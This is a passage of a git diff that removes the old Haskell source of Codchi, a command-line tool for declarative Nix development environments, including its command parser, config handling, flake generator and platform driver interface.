<- getDriverPath DirCtrl (fromList ["instances", instanceName.text]) - instanceFlake <- getDriverPath DirCtrl (fromList ["instances", instanceName.text, "flake.nix"]) - - meta <- driverMeta - follows <- case machine.nixpkgsFollows of - Just u -> return u - Nothing -> do - logWarn $ - "Follow not set for " - <> display instanceName.text - <> ". Defaulting to codchis' nixpkgs." - return CodchiNixpkgs - - createDirectoryIfMissing True instanceDir - writeNixFile instanceFlake (mkNixFlake machine follows meta) - - let cmd = "/bin/ctrl-install " <> instanceName.text - - tarballPath <- - parse_ @StorePath - =<< runCtrlNixCmd_ StreamStd cmd - - rootfsFile <- getDriverPath DirCtrl (tarballPath.path fromList ["rootfs.tar"]) - - info <- findCodeMachine_ instanceName - - case info.status of - MachineNotInstalled -> do - unlessM (doesFileExist rootfsFile) $ - Ann.throw (InternalNixError $ "Nix build didn't build " <> rootfsFile <> " as expected.") - logInfo "Registering with driver..." - driverInstallInstance instanceName rootfsFile - MachineRunning -> do - logInfo "Activating system..." - let installCmd = "/nix/var/nix/profiles/system/bin/switch-to-configuration switch" - runInstanceCmd StreamStd instanceName installCmd >>= \case - Left err -> Ann.throw $ InternalNixError $ toString err - _ -> pass - _ -> pass - - logInfo "Creating shortcuts..." - updateShortcuts instanceName =<< getDriverPath DirCtrl =<< getInstanceSWSharePath instanceName - - logInfo $ "Successfully installed " <> display instanceName.text -cli (CmdRun instanceName showTerm args) = do - unlessM isCtrlRunning $ - logExit "Codchi controller is not running..." - - findInstance instanceName >>= \case - Nothing -> - logExit $ - "Code machine " <> display instanceName.text <> " does not exist." - Just i -> runInInstance i showTerm args -cli (CmdUninstall instanceName) = do - config <- readConfig - case config.instances !? instanceName.text of - Nothing -> do - logExit $ - "Code machine " <> display instanceName.text <> " does not exist." - Just _ -> do - logInfo $ - "Do you really want to uninstall " <> display instanceName.text <> "?. THIS WILL DELETE ALL OF YOUR DATA!" - logInfo "Type 'yes' to confirm!" - answer <- getLine - if answer /= "yes" - then logExit "Aborted uninstall." - else do - modifyConfig $ \c -> return c{instances = Map.delete instanceName.text c.instances} - instanceStatus <- (.status) <$> findCodeMachine_ instanceName - when (instanceStatus /= MachineNotInstalled) $ - driverUninstallInstance instanceName instanceStatus - void $ - runCtrlNixCmd_ StreamIgnore $ - "rm -r /instances/" <> instanceName.text <> " || true" - -findInstance :: MonadCodchi m => CodchiName -> m (Maybe InstanceConfig) -findInstance name = do - cfg <- readConfig - return (cfg.instances !? name.text) - -modifyInstance :: CodchiName -> (InstanceConfig -> RIO Codchi InstanceConfig) -> RIO Codchi () -modifyInstance name f = modifyConfig $ \cfg -> - case Map.lookup name.text cfg.instances of - Just i -> do - i' <- f i - return (cfg{instances = Map.insert name.text i' cfg.instances}) - Nothing -> - logExit $ "Code machine " <> display name.text <> " does not exist." - -getNixpkgsInput :: Module -> RIO Codchi (Maybe NixpkgsFollows) -getNixpkgsInput m = do - let cmd = - "nix flake metadata --no-write-lock-file --json \"" - <> toFlakeUrl m - <> "\" | nix shell nixpkgs#jq -c jq \".locks.nodes | has(\\\"nixpkgs\\\")\"" - output <- - logTraceId "getNixpkgsInput" - . fmap Text.strip - =<< runCtrlNixCmd StreamIgnore cmd - case output of - Right "true" -> do - return (Just $ ModuleNixpkgs m.name) - _ -> return Nothing - -isCtrlRunning :: MonadCodchi m => m Bool -isCtrlRunning = (== CodchiRunning) <$> getStatus - -showTable :: Text -> [[Text]] -> Text -showTable sep t = unlines (map mkLine t) - where - colWidths = - map (maximum . map Text.length) $ - transpose t - - mkLine = - Text.intercalate sep - . zipWith (`Text.justifyLeft` ' ') colWidths - -getInstanceSWSharePath :: MonadCodchi m => CodchiName -> m (Path Rel) -getInstanceSWSharePath name = do - let cmd = "readlink -f \"/nix/var/nix/profiles/per-instance/" <> name.text <> "/system/sw/share\"" - fmap (.path) . parse_ @StorePath - =<< runCtrlNixCmd_ StreamIgnore cmd diff --git a/.old/cli/src/Codchi/CLI.hs b/.old/cli/src/Codchi/CLI.hs deleted file mode 100644 index 93dd37d7..00000000 --- a/.old/cli/src/Codchi/CLI.hs +++ /dev/null @@ -1,225 +0,0 @@ -module Codchi.CLI where - -import Codchi.Parser -import Options.Applicative - -import Codchi.Config -import Codchi.Nix (_GIT_COMMIT) -import Data.Version (showVersion) -import Paths_codchi (version) - -parseCmd :: MonadIO m => m Command -parseCmd = - liftIO $ - execParser $ - info - ( cmdP - <**> helper - <**> simpleVersioner (showVersion version) - ) - ( fullDesc - <> header "CODe maCHInes - Declarative, Reproducible, Cross Platform Development Environments as Code" - ) - -data Command - = CmdStart - | CmdStatus - | CmdAddCa CodchiName FilePath - | CmdInit CodchiName - | CmdAddModule CodchiName ModuleConfigureArgs - | CmdRemoveModule CodchiName CodchiName - | CmdSetFollows CodchiName NixpkgsFollows - | CmdRebuild CodchiName - | CmdRun CodchiName WithTerminal [Text] - | CmdUninstall CodchiName - deriving (Eq, Show) - -type WithTerminal = Bool - -cmdP :: Parser Command -cmdP = - subparser - ( command "start" (info startP (progDesc "Start codchi controller")) - <> command "status" (info statusP (progDesc "Show codchi status")) - <> command "add-ca" (info addCaP (progDesc "Add self signed CA certificate. Useful for adding modules over self signed https.")) - ) - <|> subparser (instanceCmdP <> hidden <> commandGroup "Code machine commands") - where - statusP = pure CmdStatus - startP = pure CmdStart - addCaP = - CmdAddCa - <$> argument parseable (metavar "NAME") - <*> argument str (metavar "FILE.crt") - -instanceCmdP :: Mod CommandFields Command -instanceCmdP = - command "init" (info (CmdInit <$> name) (progDesc "Initialize a code machine")) - <> command - "add-module" - ( info - (CmdAddModule <$> name <*> configP <**> helper) - (progDesc "Add MODULE_NAME to CODE_MACHINE") - ) - <> command - "remove-module" - ( info - (CmdRemoveModule <$> name <*> moduleName) - (progDesc "Remove MODULE_NAME from CODE_MACHINE") - ) - <> command "set-follows" (info setFollowsP (progDesc "Configure if a code machine follows codchis' nixpkgs or yours")) - <> command - "rebuild" - ( info - (CmdRebuild <$> name) - (progDesc "(Re-)build a code machine. On first run this will register with your specific driver.") - ) - <> command - "run" - ( info - (runP <**> helper) - (progDesc "Open a shell (empty CMD) or run `CMD ARGS...` in a code machine") - ) - <> command - "uninstall" - ( info - (CmdUninstall <$> name) - (progDesc "Delete and unregister a code machine. THIS WILL DELETE ALL DATA OF THIS CODE MACHINE!") - ) - where - name = argument parseable (metavar "CODE_MACHINE") - moduleName = argument parseable (metavar "MODULE_NAME") - setFollowsP = - CmdSetFollows - <$> name - <*> ( ( CodchiNixpkgs - <$ flag' - () - ( long "codchi" - <> short 'c' - <> help "Follow codchis' provided nixpkgs for this code machine" - ) - ) - <|> ModuleNixpkgs - <$> option - parseable - ( long "module" - <> short 'm' - <> metavar "MODULE_NAME" - <> help "Follow the nixpkgs input from MODULE_NAME. The system will only be updated when MODULE_NAMEs' flake is updated." - ) - ) - runP = - CmdRun - <$> name - <*> ( not - <$> switch - ( long "no-terminal" - <> short 's' - <> help "Whether to run CMD without a terminal. Usefull if running graphical apps." - ) - ) - <*> many (argument str (metavar "CMD ARGS...")) - -data ModuleConfigureArgs = ModuleConfigureArgs - { moduleName :: CodchiName - , uri :: Text - , branchCommit :: Maybe BranchCommit - , moduleType :: ModuleType - -- ^ One can either use an nixosModule inside a flake or directly import a .nix file - } - deriving (Eq, Show) - -configP :: Parser ModuleConfigureArgs -configP = - ModuleConfigureArgs - <$> argument parseable (metavar "MODULE_NAME") - <*> strOption - ( long "uri" - <> short 'u' - <> metavar "URI" - <> help "URI of the module. Can be an absolute file path or a git repository url (https or ssh supported)." - ) - <*> optional - ( BranchCommit - <$> strOption - ( long "branch" - <> short 'b' - <> metavar "BRANCH_OR_TAG" - <> help "Specify the git branch or tag. Only applicable when URI points to a git repository." - ) - <*> optional - ( strOption - ( long "commit" - <> short 'c' - <> metavar "COMMIT" - <> help "Specify the git commit inside BRANCH_OR_TAG. Only applicable when URI points to a git repository." - ) - ) - ) - <*> nixosModuleP - where - nixosModuleP = - ( FlakeModule - <$> option - parseable - ( long "module" - <> short 'm' - <> metavar "FLAKE_MODULE" - <> help "Name of NixOS Module when using flakes. Must be under `nixosModules`." - ) - <*> optional - ( option - parseable - ( long "flake-dir" - <> short 'd' - <> metavar "FLAKE_DIR" - <> help "Path to directory of flake.nix relative to the git repository. Only applicable if using flakes." - ) - ) - ) - <|> ( LegacyModule - <$> option - parseable - ( long "file" - <> short 'f' - <> metavar "FILE" - <> help "Path to NixOS configuration file inside URI. Only applicable if not using flakes." - ) - ) - --- | backported from optparse-applicative 0.17.1.0 -simpleVersioner :: - -- | Version string to be shown - String -> - Parser (a -> a) -simpleVersioner v = - infoOption txt $ - mconcat - [ long "version" - , help "Show version information" - , hidden - ] - where - txt = v <> " - " <> _GIT_COMMIT - --- gitHash :: Q Exp --- gitHash = --- stringE --- =<< runIO --- ( do --- putStr "Current Directory: " --- getCurrentDirectory >>= print --- putStr "Directory contents: " --- getCurrentDirectory >>= getDirectoryContents >>= print --- let tryReadRef prefix = do --- let path = prefix <> ".git/refs/heads/master" --- exists <- doesFileExist path --- if exists --- then Just . decodeUtf8 . BS.strip <$> readFileBS path --- else return Nothing --- ref <- listToMaybe . catMaybes <$> traverse tryReadRef ["", "../"] --- case ref of --- Nothing -> error "Couldn't find .git folder to read latest commit hash" --- Just r -> return r --- ) diff --git a/.old/cli/src/Codchi/Config.hs b/.old/cli/src/Codchi/Config.hs deleted file mode 100644 index 3319e248..00000000 --- a/.old/cli/src/Codchi/Config.hs +++ /dev/null @@ -1,7 +0,0 @@ -module Codchi.Config ( - module Codchi.Config.Common, - module Codchi.Config.V012, -) where - -import Codchi.Config.Common -import Codchi.Config.V012 diff --git a/.old/cli/src/Codchi/Config/Common.hs b/.old/cli/src/Codchi/Config/Common.hs deleted file mode 100644 index d2bb7860..00000000 --- a/.old/cli/src/Codchi/Config/Common.hs +++ /dev/null @@ -1,84 +0,0 @@ -{-# LANGUAGE DerivingVia #-} - -module Codchi.Config.Common where - -import Codchi.Parser (Parseable (..), ParseableFromJSON (..)) -import Codchi.Types -import Data.Aeson (FromJSON, ToJSON) -import qualified Data.Aeson as JSON -import Data.Attoparsec.Text (()) -import qualified Data.Attoparsec.Text as P -import GHC.Records - -_INSTANCE_PREFIX, _CONTROLLER_DIR, _CONTROLLER, _APP_NAME :: IsString s => Semigroup s => s -_APP_NAME = "codchi" -_CONTROLLER = _APP_NAME <> "-controller" -_CONTROLLER_DIR = "controller" -_INSTANCE_PREFIX = _APP_NAME <> "-instance-" - ---------------------------- --- Data types for codchi -- ---------------------------- - -data DirectoryType - = -- | Used for logs - DirState - | -- | Used for config.json - DirConfig - | -- | Root directory of controller. Should contain at least: - -- - /instances (code machine flakes) - -- - /nix - DirCtrl - -newtype CodchiName = CodchiName {text :: Text} - deriving (Eq, Show, Generic) - deriving (FromJSON) via (ParseableFromJSON CodchiName) - -instance HasField "withPrefix" CodchiName Text where - getField i = _INSTANCE_PREFIX <> i.text - -instance ToJSON CodchiName where - toJSON i = JSON.String i.text - -instance Parseable CodchiName where - parser = - CodchiName - <$> (P.takeWhile (P.inClass pat) <* P.endOfInput) - "Name must match pattern " <> show pat - where - pat = "a-zA-Z0-9_-" - -data MachineStatus - = MachineNotInstalled - | MachineStopped - | MachineRunning - | MachineOrphaned - deriving (Eq, Show) - -data CodeMachine = CodeMachine - { name :: CodchiName - , status :: MachineStatus - } - deriving (Show, Eq) - -data CodchiStatus - = CodchiNotInstalled - | CodchiStopped - | CodchiRunning - deriving (Show, Eq) - -newtype StorePath = StorePath {path :: Path Rel} - deriving (Eq, Show) - -instance Parseable StorePath where - parser = - StorePath . mkUnixPath @Rel - <$> ( (<>) - <$> P.string "/nix/store/" - <*> P.takeWhile (P.inClass pat) - <* P.skipWhile P.isEndOfLine - <* P.endOfInput - ) - "Store path must match pattern " <> show pat - where - pat = "a-zA-Z0-9/._-" diff --git a/.old/cli/src/Codchi/Config/IO.hs b/.old/cli/src/Codchi/Config/IO.hs deleted file mode 100644 index 9ece0858..00000000 --- a/.old/cli/src/Codchi/Config/IO.hs +++ /dev/null @@ -1,66 +0,0 @@ -module Codchi.Config.IO where - -import Codchi.Config.Common -import Codchi.Config.V012 -import Codchi.Platform.CodchiMonad -import Codchi.Types -import Data.Aeson.Safe (SafeJSON) -import qualified Data.Aeson.Safe as JSON -import System.FileLock -import UnliftIO.Directory -import Data.Aeson.Encode.Pretty (encodePretty) -import RIO (MonadUnliftIO(..)) - -_CONFIG_PATH :: Path Rel -_CONFIG_PATH = fromList ["config.json"] - -createConfigIfMissing :: MonadCodchi m => m FilePath -createConfigIfMissing = do - path <- getDriverPath DirConfig _CONFIG_PATH - unlessM (doesFileExist path) $ do - dir <- getDriverPath DirConfig emptyPath - createDirectoryIfMissing True dir - liftIO $ JSON.encodeFile path defaultConfig - return path - -tryReadConfigOrBackup :: (MonadIO m, SafeJSON a) => FilePath -> m (Maybe a) -tryReadConfigOrBackup path = do - cfg <- liftIO $ JSON.decodeFileStrict' path - - when (isNothing cfg) $ do - fsize <- getFileSize path - when (fsize /= 0) $ do - let bakPath = path <> ".bak" - putTextLn $ "Could not parse config. Doing a backup of your old config to " <> toText bakPath - putTextLn "No data is lost! Simple re-add your code machines and do a `codchi rebuild`." - copyFile path bakPath - - return cfg - -readConfig :: MonadCodchi m => m Config -readConfig = do - path <- createConfigIfMissing - liftIO $ - fromMaybe defaultConfig - <$> withFileLock path Shared (\_ -> tryReadConfigOrBackup path) - -modifyConfig :: MonadCodchi m => (Config -> m Config) -> m () -modifyConfig f = do - path <- createConfigIfMissing - withRunInIO $ \run -> do - -- we wait for exclusive access to config file - withFileLock path Exclusive (const pass) - -- Now the file is read. The first lock is already closed, because - -- windows cant read from a locked file. This could result in a (highly - -- improbable) race condition. - cfg <- fromMaybe defaultConfig <$> tryReadConfigOrBackup path - -- We reaquire the exclusive lock as soon as possible and run the - -- possibly long running action - cfg' <- withFileLock path Exclusive (\_ -> run $ f cfg) - -- For writing the second lock has to be closed as well on windows - writeFileLBS path $ encodePretty (JSON.safeToJSON cfg') - - ----------------------- --- Helper functions -- ----------------------- diff --git a/.old/cli/src/Codchi/Config/V012.hs b/.old/cli/src/Codchi/Config/V012.hs deleted file mode 100644 index 2867e9d4..00000000 --- a/.old/cli/src/Codchi/Config/V012.hs +++ /dev/null @@ -1,157 +0,0 @@ -{-# LANGUAGE DeriveAnyClass #-} -{-# LANGUAGE DerivingVia #-} -{-# LANGUAGE StrictData #-} - -module Codchi.Config.V012 where - -import Codchi.Parser -import Data.Aeson (FromJSON, ToJSON) -import Data.Attoparsec.Text as P -import qualified Data.Text as T -import Codchi.Types -import Codchi.Config.Common (CodchiName) -import Data.Aeson.Safe (SafeJSON(..), noVersion, base) - -instance SafeJSON Config where - version = noVersion - kind = base - -newtype Config = Config - { instances :: Map Text InstanceConfig - } - deriving (Eq, Show, Generic) - deriving newtype (FromJSON, ToJSON) - -defaultConfig :: Config -defaultConfig = Config mempty - -data InstanceConfig = InstanceConfig - { name :: CodchiName - , nixpkgsFollows :: Maybe NixpkgsFollows - , modules :: Map Text Module - } - deriving (Eq, Show, Generic, FromJSON, ToJSON) - -defaultInstance :: CodchiName -> InstanceConfig -defaultInstance name = InstanceConfig name Nothing mempty - -data NixpkgsFollows - = CodchiNixpkgs - | ModuleNixpkgs CodchiName - deriving (Eq, Show, Generic, ToJSON, FromJSON) - -data Module = Module - { name :: CodchiName - , uri :: ModuleUri - , branchCommit :: Maybe BranchCommit - , moduleType :: ModuleType - } - deriving (Eq, Show, Generic, ToJSON, FromJSON) - -data BranchCommit = BranchCommit - { branch :: Text - , commit :: Maybe Text - } - deriving (Eq, Show, Generic, ToJSON, FromJSON) - -data ModuleUri - = LocalModule (Path Abs) - | GitModule GitModuleConfig - deriving (Eq, Show, Generic, ToJSON, FromJSON) - -data GitModuleConfig = GitModuleConfig - { protocol :: GitProtocol - , uri :: Text - -- ^ must be http / ssh URL without protocol and leading :// and no trailing /. - -- Syntax: [user[:password]@]hostname.tld[/path] - } - deriving (Eq, Show, Generic, ToJSON, FromJSON) - -instance Parseable GitModuleConfig where - parser = - (GitModuleConfig GitHttps <$> httpParser) - <|> (GitModuleConfig GitSsh <$> sshParser) - where - authChars = "a-zA-Z0-9_.+~=%-" - httpUrlChars = authChars <> ":/?#" - basicAuth = do - user <- P.takeWhile1 (P.inClass authChars) - pwd <- - option "" $ - (<>) <$> ":" <*> P.takeWhile1 (P.inClass authChars) - _ <- P.char '@' - return (user <> pwd <> "@") - httpParser = do - _ <- "http" >> optional (char 's') >> "://" - auth <- option "" basicAuth - host <- P.takeWhile (P.inClass httpUrlChars) - return (auth <> host) - - isHostSep c = c == ':' || c == '/' - sshUrlChars = authChars <> ":/" - sshParser = do - _ <- optional "ssh://" - auth <- basicAuth - host <- P.takeWhile (not . isHostSep) - _ <- P.satisfy isHostSep - rest <- P.takeWhile (P.inClass sshUrlChars) - return (auth <> host <> "/" <> rest) - -data GitProtocol = GitHttps | GitSsh - deriving (Eq, Show, Generic, ToJSON, FromJSON) - -toFlakeUrl :: Module -> Text -toFlakeUrl m = - let urlPath = case m.uri of - LocalModule p -> "path:" <> toUnixPath p - GitModule g -> - let prot = case g.protocol of - GitHttps -> "https" - GitSsh -> "ssh" - in "git+" <> prot <> "://" <> g.uri - query = - [ ("ref", m.branchCommit <&> (.branch)) - , ("rev", m.branchCommit >>= (.commit)) - , - ( "dir" - , case m.moduleType of - FlakeModule _ d -> toUnixPath . (.path) <$> d - _ -> Nothing - ) - ] - & mapMaybe (\(key, val) -> (key,) <$> val) - & \case - [] -> "" - params -> - params - & map (\(name, val) -> name <> "=" <> val) - & \p -> - (if '?' `T.elem` urlPath then "&" else "?") - <> T.intercalate "&" p - in urlPath <> query - -data ModuleType - = FlakeModule CodchiName (Maybe FlakeSubDir) - | LegacyModule NixFilePath - deriving (Eq, Show, Generic, ToJSON, FromJSON) - -newtype FlakeSubDir = FlakeSubDir {path :: Path Rel} - deriving newtype (Eq, Show, ToJSON, FromJSON) -instance Parseable FlakeSubDir where - parse input = - if "/" `T.isSuffixOf` input - then Left "The flake directory must be relative to the git repository." - else Right (FlakeSubDir $ mkUnixPath input) - -isFlake :: ModuleType -> Bool -isFlake (FlakeModule _ _) = True -isFlake (LegacyModule _) = False - -newtype NixFilePath = NixFilePath {path :: Path Rel} - deriving newtype (Eq, Show, ToJSON, FromJSON) - -instance Parseable NixFilePath where - parse input = - if ".nix" `T.isSuffixOf` input - then Right $ NixFilePath (mkUnixPath input) - else Left $ show input <> " is not a path to a nix file" diff --git a/.old/cli/src/Codchi/Error.hs b/.old/cli/src/Codchi/Error.hs deleted file mode 100644 index cb2773ce..00000000 --- a/.old/cli/src/Codchi/Error.hs +++ /dev/null @@ -1,29 +0,0 @@ -{-# LANGUAGE DeriveAnyClass #-} - -module Codchi.Error where - -import RIO (Show (..)) - -data CodchiError - = CodchiUserError String - | InternalNixError String - | InternalParseError Text String - | InternalDriverError String - | InternalPanic String - | forall e. Exception e => InternalUnknownError e - deriving (Exception) - -instance Show CodchiError where - show = \case - CodchiUserError msg -> msg - InternalNixError msg -> "Error when invoking Nix: " <> msg - InternalParseError txt msg -> - intercalate - "\n" - [ "Error when parsing text: " <> msg - , "Parsed text was: " - , toString txt - ] - InternalDriverError msg -> "Error in platform driver of codchi: " <> msg - InternalPanic msg -> "Panic: " <> msg - InternalUnknownError e -> "Unknown error: " <> displayException e diff --git a/.old/cli/src/Codchi/Nix.hs b/.old/cli/src/Codchi/Nix.hs deleted file mode 100644 index ddedd673..00000000 --- a/.old/cli/src/Codchi/Nix.hs +++ /dev/null @@ -1,197 +0,0 @@ -{-# LANGUAGE StrictData #-} -{-# LANGUAGE TemplateHaskell #-} -{-# LANGUAGE TypeOperators #-} - -module Codchi.Nix where - -import Codchi.Config -import Codchi.Platform.CodchiMonad (DriverMeta (..)) -import Codchi.Types -import qualified Data.Map.Strict as Map -import Text.Builder -import Development.GitRev (gitHash) -import Prelude hiding (intercalate) -import Data.Version (showVersion) -import Paths_codchi (version) - -------------- --- Nix DSL -- -------------- - -data Nix - = NIdent Text - | NString Text - | NBool Bool - | NList [Nix] - | NRecord (Map Text Nix) - | NLambda Text Nix - | NApp Nix Nix - | NBinApp BinOp Nix Nix - -instance IsString Nix where fromString = NIdent . toText - -record :: [(Text, Nix)] -> Nix -record = NRecord . fromList - -str :: Text -> Nix -str = NString . toText - -list :: Foldable t => t Nix -> Nix -list = NList . toList - -(|=|) :: Text -> Nix -> (Text, Nix) -(|=|) = (,) -infixr 0 |=| - -(|:|) :: Text -> Nix -> Nix -(|:|) = NLambda -infixr 1 |:| - -(|$|) :: Nix -> Nix -> Nix -(|$|) = NApp -infixr 2 |$| - -data BinOp = ConcatStrings | ConcatLists | MergeAttrs - -(|+|) :: Nix -> Nix -> Nix -(|+|) = NBinApp ConcatStrings - -(|++|) :: Nix -> Nix -> Nix -(|++|) = NBinApp ConcatLists - -(|//|) :: Nix -> Nix -> Nix -(|//|) = NBinApp MergeAttrs - -builder :: Nix -> Builder -builder (NIdent i) = text i -builder (NString s) = surround '"' '"' (text s) -builder (NBool b) = if b then "true" else "false" -builder (NList elems) = - surround '[' ']' (mconcat (map buildElem elems)) - where - buildElem e = mconcat [indent, surround '(' ')' (builder e), char '\n'] -builder (NRecord attrs) = surround '{' '}' (mconcat (map buildBinding (Map.toList attrs))) - where - buildBinding (name, val) = mconcat [indent, text name, " = ", builder val, ";\n"] -builder (NLambda arg body) = - mconcat [text arg, ": ", builder body] -builder (NApp f arg) = - mconcat - [ surround '(' ')' (builder f) - , char ' ' - , surround '(' ')' (builder arg) - ] -builder (NBinApp op a b) = - mconcat - [ surround '(' ')' (builder a) - , case op of - ConcatStrings -> char '+' - ConcatLists -> "++" - MergeAttrs -> "//" - , surround '(' ')' (builder b) - ] - -indent :: Builder -indent = mempty -- " " - -surround :: Char -> Char -> Builder -> Builder -surround start end b = char start <> b <> char end - -surroundLn :: Char -> Char -> Builder -> Builder -surroundLn start end b = char start <> char '\n' <> b <> char end - --- intercalate :: Builder -> [Builder] -> Builder --- intercalate _ [] = mempty --- intercalate _ [x] = x --- intercalate sep (x : xs) = x <> sep <> intercalate sep xs - ----------------------- --- Flake generation -- ----------------------- - -mkNixFlake :: InstanceConfig -> NixpkgsFollows -> DriverMeta -> Nix -mkNixFlake i follows meta = - record - [ "description" - |=| str - ( "Automatically generated flake for code machine " - <> i.name.text - <> ". DO NOT EDIT MANUALLY!" - ) - , "inputs" - |=| record - ( ["codchi.url" |=| fromString _CODCHI_FLAKE_URL] - <> map toInput (Map.elems i.modules) - <> ["nixpkgs.follows" |=| str (nixpkgsFollows <> "/nixpkgs")] - ) - , "outputs" - |=| "inputs" - |:| record - [ "nixosConfigurations.default" - |=| "inputs.nixpkgs.lib.nixosSystem" - |$| record - [ "system" |=| str "x86_64-linux" - , "specialArgs.inputs" |=| ("inputs.codchi.inputs" |//| "inputs") - , "modules" - |=| list - ( map inputModule (Map.elems i.modules) - <> [ record - [ "codchi.internal.name" |=| str i.name.text - , "codchi.internal." <> meta.moduleName <> ".enable" |=| NBool True - ] - , "inputs.codchi.nixosModules.default" - ] - ) - ] - ] - ] - where - toInput m = - m.name.text - |=| record - [ "url" |=| str (toFlakeUrl m) - , "flake" |=| NBool (isFlake m.moduleType) - ] - inputModule (m :: Module) = - case m.moduleType of - FlakeModule modName _dir -> - NIdent ("inputs." <> m.name.text <> ".nixosModules." <> modName.text) - LegacyModule path -> - NIdent ("inputs." <> m.name.text) |+| str ("/" <> toUnixPath path.path) - nixpkgsFollows = case follows of - CodchiNixpkgs -> "codchi" - ModuleNixpkgs m -> m.text - -writeNixFile :: MonadIO m => FilePath -> Nix -> m () -writeNixFile fp = writeFileText fp . run . builder - ----------------------------------- --- Constants for codchi's flake -- ----------------------------------- - -type Str s = (IsString s, Monoid s) => s - -_GIT_COMMIT :: Str s -_GIT_COMMIT = $(gitHash) - --- _GIT_BRANCH :: Str s --- _GIT_BRANCH = $(gitBranch) - -_GIT_TAG :: Str s -_GIT_TAG = "v" <> fromString (showVersion version) - -_CODCHI_FLAKE_URL :: Str s -_CODCHI_FLAKE_URL = "github:aformatik/codchi/" <> _GIT_TAG - --- FIXME --- _CODCHI_FLAKE_URL :: Str s --- _CODCHI_FLAKE_URL = "github:aformatik/codchi/" <> _GIT_COMMIT - -codchiFlakeAttribute :: Str s -> Str s -codchiFlakeAttribute attr = mconcat [_CODCHI_FLAKE_URL, "#", attr] - --- codchiFlakePackage :: Str s -> Str s --- codchiFlakePackage = codchiFlakeAttribute - -ctrlRootfsCreateContents :: Str s -> Str s -ctrlRootfsCreateContents driver = codchiFlakeAttribute $ driver <> "-ctrl-rootfs.passthru.createContents" diff --git a/.old/cli/src/Codchi/Parser.hs b/.old/cli/src/Codchi/Parser.hs deleted file mode 100644 index d67592e8..00000000 --- a/.old/cli/src/Codchi/Parser.hs +++ /dev/null @@ -1,33 +0,0 @@ -module Codchi.Parser where - -import Codchi.Error -import qualified Control.Exception.Annotated.UnliftIO as Ann -import Data.Aeson -import qualified Data.Aeson as JSON -import qualified Data.Aeson.Types as JSON -import Data.Attoparsec.Text (Parser, parseOnly, takeText) -import Options.Applicative (ReadM, eitherReader) -import RIO (MonadThrow) - -class Parseable a where - parser :: Parser a - parser = either (fail . toString) return . parse =<< takeText - parse :: Text -> Either String a - parse = parseOnly parser - -newtype ParseableFromJSON a = ParseableFromJSON a - -instance Parseable a => FromJSON (ParseableFromJSON a) where - parseJSON (JSON.String s) = case parse s of - Right x -> pure (ParseableFromJSON x) - Left err -> JSON.parseFail ("parsing failed for " <> toString s <> " with error: " <> err) - parseJSON invalid = - JSON.prependFailure "parsing instance of parseable failed, " (JSON.typeMismatch "String" invalid) - -parseable :: Parseable p => ReadM p -parseable = eitherReader $ parseOnly parser . toText - -parse_ :: (Parseable a, MonadIO m, MonadThrow m) => Text -> m a -parse_ txt = case parse txt of - Left err -> Ann.throw $ InternalParseError txt err - Right r -> return r diff --git a/.old/cli/src/Codchi/Platform.hs b/.old/cli/src/Codchi/Platform.hs deleted file mode 100644 index 4ad83b68..00000000 --- a/.old/cli/src/Codchi/Platform.hs +++ /dev/null @@ -1,16 +0,0 @@ -{-# LANGUAGE CPP #-} - -module Codchi.Platform ( - module X, - module Codchi.Platform.CodchiMonad, -) where - -#if defined(mingw32_HOST_OS) -import Codchi.Platform.Windows as X -#elif (darwin_HOST_OS) -import Codchi.Platform.Darwin as X -#else -import Codchi.Platform.Linux as X -#endif - -import Codchi.Platform.CodchiMonad diff --git a/.old/cli/src/Codchi/Platform/CodchiMonad.hs b/.old/cli/src/Codchi/Platform/CodchiMonad.hs deleted file mode 100644 index 9c5c40ba..00000000 --- a/.old/cli/src/Codchi/Platform/CodchiMonad.hs +++ /dev/null @@ -1,181 +0,0 @@ -{-# OPTIONS_GHC -Wno-unrecognised-pragmas #-} - -{-# HLINT ignore "Use newtype instead of data" #-} - -module Codchi.Platform.CodchiMonad where - -import Byline (BylineT, runBylineT) -import Codchi.Config -import Codchi.Error -import Codchi.Types -import qualified Control.Exception.Annotated.UnliftIO as Ann -import Data.Char (toLower) -import RIO hiding (exitFailure, hSetBuffering, show) -import RIO.Process (HasProcessContext (..), ProcessContext, mkDefaultProcessContext) - -data StreamOutput = StreamStd | StreamIgnore - deriving (Show, Eq) - -data DriverMeta = DriverMeta - { moduleName :: Text - -- ^ Name in codchi's NixOS modules (`codchi.internal..enable = true`) - } - deriving (Show, Eq, Generic) - -class - ( Functor m - , Applicative m - , Monad m - , MonadReader Codchi m - , MonadIO m - , MonadUnliftIO m - , MonadThrow m - , MonadLogger Codchi m - ) => - MonadCodchi m - where - driverMeta :: m DriverMeta - - -- | Get status of the Codchi app (currently: not installed / stopped / - -- started) - getStatus :: m CodchiStatus - - -- | Get status of code machines (currently: not installed / stopped / - -- started / orphaned) - listMachines :: m [CodeMachine] - - -- | Register the controller rootfs archive with the driver. The rootfs is - -- either included in the installation package (MSIX / RPM / ...) or built - -- via Nix - controllerInit :: m () - - -- | Start the controller container, do shared mounts (/nix, ...), launch - -- nix-daemon, start accessory programs (X-Server, ...), start GUI. - -- This should be a no-op if already running. - controllerStart :: m () - - -- | Register rootfs archive from disk with the driver - -- This should be a no-op if already installed - driverInstallInstance :: CodchiName -> FilePath -> m () - - -- | Unregister instance from driver and delete all state on disk which is - -- associated with the instance (shared mounts, shortcuts). - driverUninstallInstance :: CodchiName -> MachineStatus -> m () - - -- | Run root command in instance - runInInstance :: InstanceConfig -> Bool -> [Text] -> m () - - -- | Synchronize shortcuts on host with instance shortcut. FilePath is path - -- to $currentSystem/sw/share. - updateShortcuts :: CodchiName -> FilePath -> m () - - -- | Run command in controller instance and return error if stderr contains - -- 'error: ' (error thrown by Nix). - runCtrlNixCmd :: StreamOutput -> Text -> m (Either String Text) - - -- | Run command as default user in instance - runInstanceCmd :: StreamOutput -> CodchiName -> Text -> m (Either Text Text) - - -- | Get path on host for given directory type. The path of the directory - -- type should be created if it doesn't exist. - getDriverPath :: DirectoryType -> Path Rel -> m FilePath - - -- | Get path in controller for path on host OS. Currently only used for - -- local NixOS configs with `codchi add-module`. - getControllerPath :: FilePath -> m (Either String (Path Abs)) - -{-# DEPRECATED runInInstance "Should be migrated to runInstanceCommand" #-} - -data Codchi = Codchi - { logFunc :: !LogFunc - , logLevel :: !LogLevel - , processContext :: !ProcessContext - } - -instance HasLogFunc Codchi where - logFuncL = lens (.logFunc) (\env logFunc -> env{logFunc}) - -instance HasProcessContext Codchi where - processContextL = lens (.processContext) (\env processContext -> env{processContext}) - -runCodchi :: RIO Codchi a -> LogOptions -> IO a -runCodchi app opts = do - processContext <- 